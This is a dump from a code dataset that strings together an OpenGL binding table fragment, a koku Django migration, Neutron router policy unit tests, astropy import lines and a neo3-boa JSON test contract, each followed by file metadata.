iv',0,b'\x00\x04\x46\x23glVertexAttribIFormat',0,b'\x00\x04\x30\x23glVertexAttribIPointer',0,b'\x00\x04\x37\x23glVertexAttribPointer',0,b'\x00\x04\xCF\x23glVertexBindingDivisor',0,b'\x00\x00\xFE\x23glViewport',0,b'\x00\x02\x52\x23glViewportArrayvNV',0,b'\x00\x02\x52\x23glViewportArrayvOES',0,b'\x00\x02\x0C\x23glViewportIndexedfNV',0,b'\x00\x02\x0C\x23glViewportIndexedfOES',0,b'\x00\x01\xF9\x23glViewportIndexedfvNV',0,b'\x00\x01\xF9\x23glViewportIndexedfvOES',0,b'\x00\x06\x77\x23glViewportSwizzleNV',0,b'\x00\x01\xD5\x23glWaitSync',0,b'\x00\x01\xD5\x23glWaitSyncAPPLE',0,b'\x00\x03\xB1\x23glWeightPathsNV',0,b'\x00\x02\x8F\x23glWindowRectanglesEXT',0), _struct_unions = ((b'\x00\x00\x06\xE5\x00\x00\x00\x10__GLsync',),(b'\x00\x00\x06\xE6\x00\x00\x00\x10_cl_context',),(b'\x00\x00\x06\xE7\x00\x00\x00\x10_cl_event',)), _typenames = (b'\x00\x00\x06\x5DGLDEBUGPROC',b'\x00\x00\x05\xE5GLDEBUGPROCAMD',b'\x00\x00\x06\x5DGLDEBUGPROCARB',b'\x00\x00\x06\x5DGLDEBUGPROCKHR',b'\x00\x00\x00\x01GLbitfield',b'\x00\x00\x00\x1BGLboolean',b'\x00\x00\x06\xE4GLbyte',b'\x00\x00\x06\xDFGLchar',b'\x00\x00\x06\xDFGLcharARB',b'\x00\x00\x06\xE0GLclampd',b'\x00\x00\x00\x35GLclampf',b'\x00\x00\x00\x02GLclampx',b'\x00\x00\x06\xE0GLdouble',b'\x00\x00\x01\x1FGLeglImageOES',b'\x00\x00\x00\x01GLenum',b'\x00\x00\x06\xE1GLfixed',b'\x00\x00\x00\x35GLfloat',b'\x00\x00\x06\xEAGLhalf',b'\x00\x00\x06\xEAGLhalfARB',b'\x00\x00\x06\xEAGLhalfNV',b'\x00\x00\x00\x01GLhandleARB',b'\x00\x00\x00\x02GLint',b'\x00\x00\x01\x41GLint64',b'\x00\x00\x01\x41GLint64EXT',b'\x00\x00\x00\x77GLintptr',b'\x00\x00\x06\xE2GLintptrARB',b'\x00\x00\x06\xE3GLshort',b'\x00\x00\x00\x02GLsizei',b'\x00\x00\x00\x77GLsizeiptr',b'\x00\x00\x06\xE2GLsizeiptrARB',b'\x00\x00\x00\x2BGLsync',b'\x00\x00\x00\x1BGLubyte',b'\x00\x00\x00\x01GLuint',b'\x00\x00\x00\x2EGLuint64',b'\x00\x00\x00\x2EGLuint64EXT',b'\x00\x00\x06\xEAGLushort',b'\x00\x00\x00\x77GLvdpauSurfaceNV',b'\x00\x00\x06\xEBGLvoid',b'\x00\x00\x00\x35khronos_float_t',b'\x00\x00\x06\xE3khronos_int16_t',b'\x00\x00\x06\xE1khronos_int32_t',b'\x00\x00\x01\x41khronos_int64_t',b'\x00\x00\x06\xE4khronos_int8_t',b'\x00\x00\x00\x77khronos_intptr_t',b'\x00\x00\x00\x77khronos_ssize_t',b'\x00\x00\x01\x41khronos_stime_nanoseconds_t',b'\x00\x00\x06\xEAkhronos_uint16_t',b'\x00\x00\x06\xE8khronos_uint32_t',b'\x00\x00\x00\x2Ekhronos_uint64_t',b'\x00\x00\x00\x1Bkhronos_uint8_t',b'\x00\x00\x06\xE9khronos_uintptr_t',b'\x00\x00\x06\xE9khronos_usize_t',b'\x00\x00\x00\x2Ekhronos_utime_nanoseconds_t'), )
5,810.545455
33,594
0.781917
12,219
63,916
4.085604
0.08806
0.235567
0.173611
0.111053
0.572633
0.427066
0.421618
0.420416
0.420296
0.420296
0
0.315934
0.000704
63,916
10
33,595
6,391.6
0.465673
0.000297
0
0
1
0.125
0.919164
0.918961
0
1
0.000094
0
0
1
0
false
0
0.125
0
0.125
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
1
0
0
0
1
1
1
0
0
0
1
0
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
9
29e143c4e50469c772a47b4c38e1242ac3b12205
4,568
py
Python
koku/reporting/migrations/0182_drop_constraints.py
cgoodfred/koku
f1de8bc90d6a818c4f77af710cafe50dc1274700
[ "Apache-2.0" ]
2
2022-01-12T03:42:39.000Z
2022-01-12T03:42:40.000Z
koku/reporting/migrations/0182_drop_constraints.py
cgoodfred/koku
f1de8bc90d6a818c4f77af710cafe50dc1274700
[ "Apache-2.0" ]
null
null
null
koku/reporting/migrations/0182_drop_constraints.py
cgoodfred/koku
f1de8bc90d6a818c4f77af710cafe50dc1274700
[ "Apache-2.0" ]
1
2021-07-21T09:33:59.000Z
2021-07-21T09:33:59.000Z
# Generated by Django 3.1.12 on 2021-07-13 11:11 import django.db.models.deletion from django.db import migrations from django.db import models class Migration(migrations.Migration): dependencies = [("reporting", "0181_auto_20210525_1641")] operations = [ migrations.AlterField( model_name="awscostentrylineitem", name="cost_entry", field=models.ForeignKey( db_constraint=False, on_delete=django.db.models.deletion.CASCADE, to="reporting.awscostentry" ), ), migrations.AlterField( model_name="awscostentrylineitem", name="cost_entry_bill", field=models.ForeignKey( db_constraint=False, on_delete=django.db.models.deletion.CASCADE, to="reporting.awscostentrybill" ), ), migrations.AlterField( model_name="awscostentrylineitem", name="cost_entry_pricing", field=models.ForeignKey( db_constraint=False, null=True, on_delete=django.db.models.deletion.SET_NULL, to="reporting.awscostentrypricing", ), ), migrations.AlterField( model_name="awscostentrylineitem", name="cost_entry_product", field=models.ForeignKey( db_constraint=False, null=True, on_delete=django.db.models.deletion.SET_NULL, to="reporting.awscostentryproduct", ), ), migrations.AlterField( model_name="awscostentrylineitem", name="cost_entry_reservation", field=models.ForeignKey( db_constraint=False, null=True, on_delete=django.db.models.deletion.SET_NULL, to="reporting.awscostentryreservation", ), ), migrations.AlterField( model_name="gcpcostentrylineitem", name="cost_entry_bill", field=models.ForeignKey( db_constraint=False, on_delete=django.db.models.deletion.CASCADE, to="reporting.gcpcostentrybill" ), ), migrations.AlterField( model_name="gcpcostentrylineitem", name="cost_entry_product", field=models.ForeignKey( db_constraint=False, null=True, on_delete=django.db.models.deletion.CASCADE, to="reporting.gcpcostentryproductservice", ), ), migrations.AlterField( model_name="gcpcostentrylineitem", name="project", field=models.ForeignKey( db_constraint=False, on_delete=django.db.models.deletion.CASCADE, to="reporting.gcpproject" ), ), migrations.AlterField( model_name="ocpnodelabellineitem", name="report", field=models.ForeignKey( db_constraint=False, on_delete=django.db.models.deletion.CASCADE, to="reporting.ocpusagereport" ), ), migrations.AlterField( model_name="ocpnodelabellineitem", name="report_period", field=models.ForeignKey( db_constraint=False, on_delete=django.db.models.deletion.CASCADE, to="reporting.ocpusagereportperiod" ), ), migrations.AlterField( model_name="ocpstoragelineitem", name="report", field=models.ForeignKey( db_constraint=False, on_delete=django.db.models.deletion.CASCADE, to="reporting.ocpusagereport" ), ), migrations.AlterField( model_name="ocpstoragelineitem", name="report_period", field=models.ForeignKey( db_constraint=False, on_delete=django.db.models.deletion.CASCADE, to="reporting.ocpusagereportperiod" ), ), migrations.AlterField( model_name="ocpusagelineitem", name="report", field=models.ForeignKey( db_constraint=False, on_delete=django.db.models.deletion.CASCADE, to="reporting.ocpusagereport" ), ), migrations.AlterField( model_name="ocpusagelineitem", name="report_period", field=models.ForeignKey( db_constraint=False, on_delete=django.db.models.deletion.CASCADE, to="reporting.ocpusagereportperiod" ), ), ]
37.138211
117
0.577058
387
4,568
6.645995
0.162791
0.052877
0.081649
0.128305
0.858087
0.858087
0.837481
0.784215
0.635692
0.628694
0
0.010383
0.325306
4,568
122
118
37.442623
0.82414
0.01007
0
0.82906
1
0
0.190929
0.090265
0
0
0
0
0
1
0
false
0
0.025641
0
0.051282
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
d9a42070792599346399c7fc157da69637a09e8a
28,899
py
Python
neutron/tests/unit/conf/policies/test_router.py
dangervon/neutron
06ce0c2c94d2256a8f6804a1eacb0733747dcf46
[ "Apache-2.0" ]
null
null
null
neutron/tests/unit/conf/policies/test_router.py
dangervon/neutron
06ce0c2c94d2256a8f6804a1eacb0733747dcf46
[ "Apache-2.0" ]
null
null
null
neutron/tests/unit/conf/policies/test_router.py
dangervon/neutron
06ce0c2c94d2256a8f6804a1eacb0733747dcf46
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2021 Red Hat Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. from oslo_policy import policy as base_policy from oslo_utils import uuidutils from neutron import policy from neutron.tests.unit.conf.policies import test_base as base class RouterAPITestCase(base.PolicyBaseTestCase): def setUp(self): super(RouterAPITestCase, self).setUp() self.target = {'project_id': self.project_id} self.alt_target = {'project_id': self.alt_project_id} class SystemAdminTests(RouterAPITestCase): def setUp(self): super(SystemAdminTests, self).setUp() self.context = self.system_admin_ctx def test_create_router(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'create_router', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'create_router', self.alt_target) def test_create_router_distributed(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'create_router:distributed', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'create_router:distributed', self.alt_target) def test_create_router_ha(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'create_router:ha', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'create_router:ha', self.alt_target) def test_create_router_external_gateway_info(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'create_router:external_gateway_info', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'create_router:external_gateway_info', self.alt_target) def test_create_router_external_gateway_info_network_id(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'create_router:external_gateway_info:network_id', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'create_router:external_gateway_info:network_id', self.alt_target) def test_create_router_external_gateway_info_enable_snat(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'create_router:external_gateway_info:enable_snat', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'create_router:external_gateway_info:enable_snat', self.alt_target) def test_create_router_external_gateway_info_external_fixed_ips(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'create_router:external_gateway_info:external_fixed_ips', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'create_router:external_gateway_info:external_fixed_ips', self.alt_target) def test_get_router(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'get_router', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'get_router', self.alt_target) def test_get_router_distributed(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'get_router:distributed', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'get_router:distributed', self.alt_target) def test_get_router_ha(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'get_router:ha', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'get_router:ha', self.alt_target) def test_update_router(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'update_router', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'update_router', self.alt_target) def test_update_router_distributed(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'update_router:distributed', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'update_router:distributed', self.alt_target) def test_update_router_ha(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'update_router:ha', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'update_router:ha', self.alt_target) def test_update_router_external_gateway_info(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'update_router:external_gateway_info', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'update_router:external_gateway_info', self.alt_target) def test_update_router_external_gateway_info_network_id(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'update_router:external_gateway_info:network_id', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'update_router:external_gateway_info:network_id', self.alt_target) def test_update_router_external_gateway_info_enable_snat(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'update_router:external_gateway_info:enable_snat', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'update_router:external_gateway_info:enable_snat', self.alt_target) def test_update_router_external_gateway_info_external_fixed_ips(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'update_router:external_gateway_info:external_fixed_ips', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'update_router:external_gateway_info:external_fixed_ips', self.alt_target) def test_delete_router(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'delete_router', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'delete_router', self.alt_target) def test_add_router_interface(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'add_router_interface', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'add_router_interface', self.alt_target) def test_remove_router_interface(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'remove_router_interface', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'remove_router_interface', self.alt_target) class SystemMemberTests(SystemAdminTests): def setUp(self): super(SystemMemberTests, self).setUp() self.context = self.system_member_ctx class SystemReaderTests(SystemMemberTests): def setUp(self): super(SystemReaderTests, self).setUp() self.context = self.system_reader_ctx class ProjectAdminTests(RouterAPITestCase): def setUp(self): super(ProjectAdminTests, self).setUp() self.context = self.project_admin_ctx def test_create_router(self): self.assertTrue( policy.enforce(self.context, 'create_router', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router', self.alt_target) def test_create_router_distributed(self): self.assertTrue( policy.enforce( self.context, 'create_router:distributed', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:distributed', self.alt_target) def test_create_router_ha(self): self.assertTrue( policy.enforce(self.context, 'create_router:ha', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:ha', self.alt_target) def test_create_router_external_gateway_info(self): self.assertTrue( policy.enforce(self.context, 'create_router:external_gateway_info', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:external_gateway_info', self.alt_target) def test_create_router_external_gateway_info_network_id(self): self.assertTrue( policy.enforce(self.context, 'create_router:external_gateway_info:network_id', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:external_gateway_info:network_id', self.alt_target) def test_create_router_external_gateway_info_enable_snat(self): self.assertTrue( policy.enforce(self.context, 'create_router:external_gateway_info:enable_snat', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:external_gateway_info:enable_snat', self.alt_target) def test_create_router_external_gateway_info_external_fixed_ips(self): self.assertTrue( policy.enforce( self.context, 'create_router:external_gateway_info:external_fixed_ips', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:external_gateway_info:external_fixed_ips', self.alt_target) def test_get_router(self): self.assertTrue( policy.enforce(self.context, 'get_router', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'get_router', self.alt_target) def test_get_router_distributed(self): self.assertTrue( policy.enforce( self.context, 'get_router:distributed', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'get_router:distributed', self.alt_target) def test_get_router_ha(self): self.assertTrue( policy.enforce(self.context, 'get_router:ha', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'get_router:ha', self.alt_target) def test_update_router(self): self.assertTrue( policy.enforce(self.context, 'update_router', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router', self.alt_target) def test_update_router_distributed(self): self.assertTrue( policy.enforce( self.context, 'update_router:distributed', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:distributed', self.alt_target) def test_update_router_ha(self): self.assertTrue( policy.enforce(self.context, 'update_router:ha', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:ha', self.alt_target) def test_update_router_external_gateway_info(self): self.assertTrue( policy.enforce(self.context, 'update_router:external_gateway_info', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:external_gateway_info', self.alt_target) def test_update_router_external_gateway_info_network_id(self): self.assertTrue( policy.enforce(self.context, 'update_router:external_gateway_info:network_id', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:external_gateway_info:network_id', self.alt_target) def test_update_router_external_gateway_info_enable_snat(self): self.assertTrue( policy.enforce(self.context, 'update_router:external_gateway_info:enable_snat', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:external_gateway_info:enable_snat', self.alt_target) def test_update_router_external_gateway_info_external_fixed_ips(self): self.assertTrue( policy.enforce( self.context, 'update_router:external_gateway_info:external_fixed_ips', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:external_gateway_info:external_fixed_ips', self.alt_target) def test_delete_router(self): self.assertTrue( policy.enforce(self.context, 'delete_router', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'delete_router', self.alt_target) def test_add_router_interface(self): self.assertTrue( policy.enforce(self.context, 'add_router_interface', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'add_router_interface', self.alt_target) def test_remove_router_interface(self): self.assertTrue( policy.enforce(self.context, 'remove_router_interface', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'remove_router_interface', self.alt_target) class ProjectMemberTests(ProjectAdminTests): def setUp(self): super(ProjectMemberTests, self).setUp() self.context = self.project_member_ctx def test_create_router_distributed(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:distributed', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:distributed', self.alt_target) def test_create_router_ha(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:ha', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:ha', self.alt_target) def test_create_router_external_gateway_info_enable_snat(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:external_gateway_info:enable_snat', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:external_gateway_info:enable_snat', self.alt_target) def test_create_router_external_gateway_info_external_fixed_ips(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:external_gateway_info:external_fixed_ips', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:external_gateway_info:external_fixed_ips', self.alt_target) def test_get_router_distributed(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'get_router:distributed', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'get_router:distributed', self.alt_target) def test_get_router_ha(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'get_router:ha', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'get_router:ha', self.alt_target) def test_update_router_distributed(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:distributed', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:distributed', self.alt_target) def test_update_router_ha(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:ha', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:ha', self.alt_target) def test_update_router_external_gateway_info_enable_snat(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:external_gateway_info:enable_snat', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:external_gateway_info:enable_snat', self.alt_target) def test_update_router_external_gateway_info_external_fixed_ips(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:external_gateway_info:external_fixed_ips', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:external_gateway_info:external_fixed_ips', self.alt_target) class ProjectReaderTests(ProjectMemberTests): def setUp(self): super(ProjectMemberTests, self).setUp() self.context = self.project_reader_ctx def test_create_router(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router', self.alt_target) def test_create_router_external_gateway_info(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:external_gateway_info', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:external_gateway_info', self.alt_target) def test_create_router_external_gateway_info_network_id(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:external_gateway_info:network_id', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'create_router:external_gateway_info:network_id', self.alt_target) def test_update_router(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router', self.alt_target) def test_update_router_external_gateway_info(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:external_gateway_info', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:external_gateway_info', self.alt_target) def test_update_router_external_gateway_info_network_id(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:external_gateway_info:network_id', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'update_router:external_gateway_info:network_id', self.alt_target) def test_delete_router(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'delete_router', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'delete_router', self.alt_target) def test_add_router_interface(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'add_router_interface', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'add_router_interface', self.alt_target) def test_remove_router_interface(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'remove_router_interface', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'remove_router_interface', self.alt_target) class ExtrarouteAPITestCase(base.PolicyBaseTestCase): def setUp(self): super(ExtrarouteAPITestCase, self).setUp() self.router = { 'id': uuidutils.generate_uuid(), 'project_id': self.project_id} self.target = { 'project_id': self.project_id, 'router_id': self.router['id'], 'ext_parent_router_id': self.router['id']} self.alt_target = { 'project_id': self.alt_project_id, 'router_id': self.router['id'], 'ext_parent_router_id': self.router['id']} class SystemAdminExtrarouteTests(ExtrarouteAPITestCase): def setUp(self): super(SystemAdminExtrarouteTests, self).setUp() self.context = self.system_admin_ctx def test_add_extraroute(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'add_extraroutes', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'add_extraroutes', self.alt_target) def test_remove_extraroute(self): self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'remove_extraroutes', self.target) self.assertRaises( base_policy.InvalidScope, policy.enforce, self.context, 'remove_extraroutes', self.alt_target) class SystemMemberExtrarouteTests(SystemAdminExtrarouteTests): def setUp(self): super(SystemMemberExtrarouteTests, self).setUp() self.context = self.system_member_ctx class SystemReaderExtrarouteTests(SystemMemberExtrarouteTests): def setUp(self): super(SystemReaderExtrarouteTests, self).setUp() self.context = self.system_reader_ctx class ProjectAdminExtrarouteTests(ExtrarouteAPITestCase): def setUp(self): super(ProjectAdminExtrarouteTests, self).setUp() self.context = self.project_admin_ctx def test_add_extraroute(self): self.assertTrue( policy.enforce(self.context, 'add_extraroutes', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'remove_extraroutes', self.alt_target) def test_remove_extraroute(self): self.assertTrue( policy.enforce(self.context, 'remove_extraroutes', self.target)) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'remove_extraroutes', self.alt_target) class ProjectMemberExtrarouteTests(ProjectAdminExtrarouteTests): def setUp(self): super(ProjectMemberExtrarouteTests, self).setUp() self.context = self.project_member_ctx class ProjectReaderExtrarouteTests(ProjectMemberExtrarouteTests): def setUp(self): super(ProjectReaderExtrarouteTests, self).setUp() self.context = self.project_reader_ctx def test_add_extraroute(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'add_extraroutes', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'add_extraroutes', self.alt_target) def test_remove_extraroute(self): self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'remove_extraroutes', self.target) self.assertRaises( base_policy.PolicyNotAuthorized, policy.enforce, self.context, 'remove_extraroutes', self.alt_target)
35.677778
77
0.635074
2,829
28,899
6.212443
0.048074
0.088876
0.125747
0.177525
0.91431
0.906117
0.900427
0.897411
0.891038
0.87431
0
0.000387
0.28475
28,899
809
78
35.721879
0.849879
0.019101
0
0.912409
0
0
0.1319
0.097205
0
0
0
0
0.189781
1
0.115328
false
0
0.005839
0
0.141606
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
d9d154649421d0992a506a59dc955806f174e22f
154
py
Python
astropy/wcs/wcsapi/__init__.py
jayvdb/astropy
bc6d8f106dd5b60bf57a8e6e29c4e2ae2178991f
[ "BSD-3-Clause" ]
445
2019-01-26T13:50:26.000Z
2022-03-18T05:17:38.000Z
astropy/wcs/wcsapi/__init__.py
jayvdb/astropy
bc6d8f106dd5b60bf57a8e6e29c4e2ae2178991f
[ "BSD-3-Clause" ]
242
2019-01-29T15:48:27.000Z
2022-03-31T22:09:21.000Z
astropy/wcs/wcsapi/__init__.py
jayvdb/astropy
bc6d8f106dd5b60bf57a8e6e29c4e2ae2178991f
[ "BSD-3-Clause" ]
31
2019-03-10T09:51:27.000Z
2022-02-14T23:11:12.000Z
from .low_level_api import * from .high_level_api import * from .high_level_wcs_wrapper import * from .utils import * from .sliced_low_level_wcs import *
25.666667
37
0.805195
25
154
4.56
0.4
0.350877
0.245614
0.315789
0.429825
0.429825
0
0
0
0
0
0
0.12987
154
5
38
30.8
0.850746
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
8a02a6bf6f928e45612e8216fe332b2159e2f34c
156
py
Python
boa3_test/test_sc/interop_test/json/JsonSerializeBytes.py
hal0x2328/neo3-boa
6825a3533384cb01660773050719402a9703065b
[ "Apache-2.0" ]
null
null
null
boa3_test/test_sc/interop_test/json/JsonSerializeBytes.py
hal0x2328/neo3-boa
6825a3533384cb01660773050719402a9703065b
[ "Apache-2.0" ]
null
null
null
boa3_test/test_sc/interop_test/json/JsonSerializeBytes.py
hal0x2328/neo3-boa
6825a3533384cb01660773050719402a9703065b
[ "Apache-2.0" ]
null
null
null
from boa3.builtin import public from boa3.builtin.interop.json import json_serialize @public def main() -> bytes: return json_serialize(b'unit test')
19.5
52
0.769231
23
156
5.130435
0.652174
0.135593
0.254237
0
0
0
0
0
0
0
0
0.014925
0.141026
156
7
53
22.285714
0.865672
0
0
0
0
0
0.057692
0
0
0
0
0
0
1
0.2
true
0
0.4
0.2
0.8
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
1
1
0
0
7